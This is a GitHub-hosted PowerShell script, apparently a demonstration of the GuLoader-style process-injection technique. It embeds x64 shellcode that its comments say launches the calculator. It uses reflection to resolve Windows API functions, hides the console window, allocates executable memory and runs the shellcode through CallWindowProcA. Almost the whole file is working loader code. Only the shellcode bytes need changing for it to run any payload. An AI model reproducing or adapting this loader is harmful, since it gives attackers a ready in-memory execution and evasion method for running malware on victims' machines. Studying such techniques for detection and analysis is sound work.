-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathProcessInjection_001.ps1
More file actions
88 lines (72 loc) · 6.15 KB
/
ProcessInjection_001.ps1
File metadata and controls
88 lines (72 loc) · 6.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# Process Injection example in PowerShell
# Based on content from GuLoader analysis: https://alertoverload.com/?p=49
Set-StrictMode -Version 2.0
# Calc shellcode taken from PowerSploit Invoke-Shellcode
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
# Get process memory address
function GetProcAddress ($EmbeddedObjectArgs, $ObjectArgs){
$Global:UnsafeNativeMethods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals("System.dll") }).GetType("Microsoft.Win32.UnsafeNativeMethods")
$Global:ProcessAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [Type[]] @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]))
return $ProcessAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($UnsafeNativeMethods.GetMethod('GetModuleHandle')).Invoke($null, @($EmbeddedObjectArgs)))), $ObjectArgs))
}
# PowerShell Reflection assembly lets you access private members of .NET types
function Reflection ([Parameter(Position = 0)] [type[]] $ConstructorArgs,[Parameter(Position = 1)] [type] $ReturnType = [Void]){
$global:DefinedAssembly = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule", $false).DefineType("MyDelegateType", @("Class", "Public", "Sealed", "AnsiClass", "AutoClass"), [System.MulticastDelegate])
$DefinedAssembly.DefineConstructor(@("RTSpecialName", "HideBySig", "Public"), [System.Reflection.CallingConventions]::Standard, $ConstructorArgs).SetImplementationFlags(@("Runtime", "Managed"))
$DefinedAssembly.DefineMethod("Invoke", @("Public", "HideBySig", "NewSlot", "Virtual"), $ReturnType, $ConstructorArgs).SetImplementationFlags(@("Runtime", "Managed"))
return $DefinedAssembly.CreateType()
}
# Pointer to process memory
$Global:Kernel32Pointer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress kernel32.dll VirtualAlloc), (Reflection @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$Global:User32Pointer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress user32.dll ShowWindow), (Reflection @([IntPtr], [UInt32]) ([IntPtr])))
# Change title of the console
$Title = "Title"
${Host}.UI.RawUI.WindowTitle = $Title
# Get the process of the renamed console
$Global:GetConsole = (Get-Process | Where-Object { $_.MainWindowTitle -eq $Title})
$Global:ConsoleHandle = $GetConsole.MainWindowHandle
$User32Pointer.Invoke($ConsoleHandle, 0)
# Get protected memory region
$ProtectedMemoryHandle = GetProcAddress "ntdll" "NtProtectVirtualMemory"
# Reserve memory for shellcode
$Global:MemoryDestination = $Kernel32Pointer.Invoke([IntPtr]::Zero, $Shellcode64.Length + 1, 0x3000, 0x40)
# Endian conversion taken from PowerSploit Invoke-Shellcode
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$(16)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$ExitThreadAddr = GetProcAddress kernel32.dll ExitThread
[byte[]] $CallStub = 0x48,0xB8
$CallStub += ConvertTo-LittleEndian $MemoryDestination
$CallStub += 0xFF,0xD0
$CallStub += 0x6A,0x00
$CallStub += 0x48,0xB8
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr
$CallStub += 0xFF,0xD0
# CallStub
$Global:CallStubAddress = $Kernel32Pointer.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40)
# Copy shellcode to memory
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode64, 0, $MemoryDestination, $Shellcode64.Length)
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
# Execute copied data
$Global:User32CallWindowPointer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress "user32" "CallWindowProcA"), (Reflection @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))
$User32CallWindowPointer.Invoke($MemoryDestination, $CallStubaddress, $ProtectedMemoryHandle, 0, 0)